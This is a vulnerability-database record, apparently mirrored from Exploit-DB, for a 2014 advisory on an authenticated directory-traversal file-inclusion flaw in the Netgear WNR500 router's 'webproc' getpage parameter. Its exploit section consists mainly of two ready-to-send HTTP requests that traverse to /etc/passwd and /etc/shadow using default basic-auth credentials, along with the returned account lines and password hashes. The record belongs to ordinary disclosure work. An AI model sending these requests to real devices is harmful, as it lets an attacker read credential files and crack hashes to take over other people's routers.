Sign-up

ID

VAR-E-201411-0201


EDB ID

35325


TITLE

Netgear WNR500 Wireless Router - 'webproc?getpage' Traversal Arbitrary File Access - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 35325

DESCRIPTION

Netgear WNR500 Wireless Router - 'webproc?getpage' Traversal Arbitrary File Access. CVE-114967 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 35325

AFFECTED PRODUCTS

vendor:netgearmodel:wireless router wnr500scope: - version: -

Trust: 1.1

vendor:netgearmodel:wnr500 wireless routerscope: - version: -

Trust: 1.0

vendor:netgearmodel:wnr500scope:eqversion:1.0.7.2

Trust: 0.3

sources: BID: 70050 // PACKETSTORM: 129223 // EXPLOIT-DB: 35325 // EDBNET: 56524

EXPLOIT

Netgear Wireless Router WNR500 Parameter Traversal Arbitrary File Access Exploit

Vendor: NETGEAR
Product web page: http://www.netgear.com
Affected version: WNR500 (firmware: 1.0.7.2)

Summary: The NETGEAR compact N150 classic wireless router (WNR500) improves
your legacy Wireless-G network. It is a simple, secure way to share your
Internet connection and allows you to easily surf the Internet, use email,
and have online chats. The quick, CD-less setup can be done through a web
browser. The small, efficient design fits perfectly into your home.

Desc: The router suffers from an authenticated file inclusion vulnerability
(LFI) when input passed thru the 'getpage' parameter to 'webproc' script is
not properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks.

Tested on: mini_httpd/1.19 19dec2003

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2014-5208
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5208.php

16.11.2014

--

= 1 =============================================================

GET /cgi-bin/webproc?getpage=../../../etc/passwd&var:menu=advanced&var:page=null HTTP/1.1
Host: 192.168.1.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sessionid=7dc3268b; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; sessionid=7dc3268b; auth=ok; expires=Mon, 31-Jan-2050 16:00:00 GMT; language=en_us
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: keep-alive

---

HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=7dc3268b;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;

#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh

= 2 =============================================================

GET /cgi-bin/webproc?getpage=../../../etc/shadow&var:menu=advanced&var:page=null HTTP/1.1
Host: 192.168.1.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sessionid=7dc3268b; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; sessionid=7dc3268b; auth=ok; expires=Mon, 31-Jan-2050 16:00:00 GMT; language=en_us
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: keep-alive

---

HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=7dc3268b;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;

#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

Trust: 1.0

sources: EXPLOIT-DB: 35325

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 35325

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 35325

TYPE

'webproc?getpage' Traversal Arbitrary File Access

Trust: 1.0

sources: EXPLOIT-DB: 35325

TAGS

tag:exploit

Trust: 0.5

tag:local

Trust: 0.5

tag:file inclusion

Trust: 0.5

sources: PACKETSTORM: 129223

CREDITS

LiquidWorm

Trust: 0.6

sources: EXPLOIT-DB: 35325

EXTERNAL IDS

db:ZSLid:ZSL-2014-5208

Trust: 3.6

db:EXPLOIT-DBid:35325

Trust: 1.6

db:EDBNETid:56524

Trust: 0.6

db:EDBNETid:79576

Trust: 0.6

db:0DAYTODAYid:22908

Trust: 0.6

db:EDBNETid:22612

Trust: 0.6

db:PACKETSTORMid:129223

Trust: 0.5

db:BIDid:70050

Trust: 0.3

sources: BID: 70050 // PACKETSTORM: 129223 // EXPLOIT-DB: 35325 // EDBNET: 56524 // EDBNET: 79576 // EDBNET: 22612

REFERENCES

url:http://www.zeroscience.mk/en/vulnerabilities/zsl-2014-5208.php

Trust: 1.3

url:https://www.exploit-db.com/exploits/35325/

Trust: 0.6

url:https://www.intelligentexploit.com

Trust: 0.6

url:https://0day.today/exploits/22908

Trust: 0.6

url:http://www.netgear.com/

Trust: 0.3

url:http://www.netgear.com/support_main.asp

Trust: 0.3

sources: BID: 70050 // EXPLOIT-DB: 35325 // EDBNET: 56524 // EDBNET: 79576 // EDBNET: 22612

SOURCES

db:BIDid:70050
db:PACKETSTORMid:129223
db:EXPLOIT-DBid:35325
db:EDBNETid:56524
db:EDBNETid:79576
db:EDBNETid:22612

LAST UPDATE DATE

2022-07-27T09:40:19.182000+00:00


SOURCES UPDATE DATE

db:BIDid:70050date:2014-11-21T00:00:00

SOURCES RELEASE DATE

db:BIDid:70050date:2014-11-21T00:00:00
db:PACKETSTORMid:129223date:2014-11-21T19:01:21
db:EXPLOIT-DBid:35325date:2014-11-22T00:00:00
db:EDBNETid:56524date:2014-11-22T00:00:00
db:EDBNETid:79576date:2014-11-22T00:00:00
db:EDBNETid:22612date:2014-11-21T00:00:00